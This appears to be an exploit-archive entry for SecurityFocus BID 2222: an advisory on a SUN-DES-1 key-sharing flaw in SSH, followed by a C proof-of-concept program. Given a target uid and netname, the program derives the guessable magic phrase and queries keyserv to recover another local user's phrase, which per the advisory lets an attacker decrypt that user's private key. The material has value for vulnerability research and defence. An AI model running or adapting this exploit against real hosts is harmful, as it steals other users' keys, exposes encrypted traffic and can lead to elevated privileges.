38 lines
No EOL
2.3 KiB
C
38 lines
No EOL
2.3 KiB
C
// source: https://www.securityfocus.com/bid/2222/info
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SSH is a package designed to encrypt traffic between two end points using the IETF specified SSH protocol. The SSH1 package is distributed and maintained by SSH Communications Security.
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A problem exists which could allow the discovery of the secret key used to encrypt traffic on the local host. When using SUN-DES-1 to share keys with other hosts on the network to facilitate secure communication via protocols such as NFS and NIS+, the keys are shared between hosts using the private key of the user and a cryptographic algorithm to secure the contents of the key, which is stored on the NIS+ primary. The problem occurs when the key is encrypted with the SUN-DES-1 magic phrase prior to having done a keylogin (the keyserv does not have the users DH private key). A design flaw in the software that shares the key with the NIS+ master will inconsistently return the correct value for an attempted keyshare that has failed. A step in the private key encryption process is skipped, and the users private key is then encrypted only with the public key of the target server and the SUN-DES-1 magic phrase, a phrase that is guessable due to the way it is generated. A user from the same host can then execute a function that returns another users magic phrase, and use this to decrypt the private key of the victim. This makes it possible for a user with malicious intent to gain knowledge of a users secret key, and decrypt sensitive traffic between two hosts, with the possibility of gaining access and elevated privileges on the hosts and/or NIS+ domain. This reportedly affects the SSH2 series of the software package.
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#include <stdio.h>
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#include <rpc/rpc.h>
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void die (char *msg)
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{
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fprintf(stderr,"%s\n",msg);
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exit(1);
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}
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main (int argc, char **argv)
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{
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char buf[MAXNETNAMELEN + 1];
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des_block block;
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uid_t uid;
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char *netname;
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if (argc < 3)
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die("supply uid and netname");
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sscanf(argv[1], "%d", &uid);
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netname = argv[2];
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memset(buf, 0, sizeof(buf));
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snprintf(buf, sizeof(buf), "ssh.%04X", uid);
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memcpy(block.c, buf, sizeof(block.c));
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if (key_encryptsession(netname, &block) != 0)
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die("key_encryptsession failed");
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printf("SUN-DES-1 magic phrase (uid %d, netname %s):\n %08X%08X\n",
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uid,
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netname,
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ntohl(block.key.high),
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ntohl(block.key.low));
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} |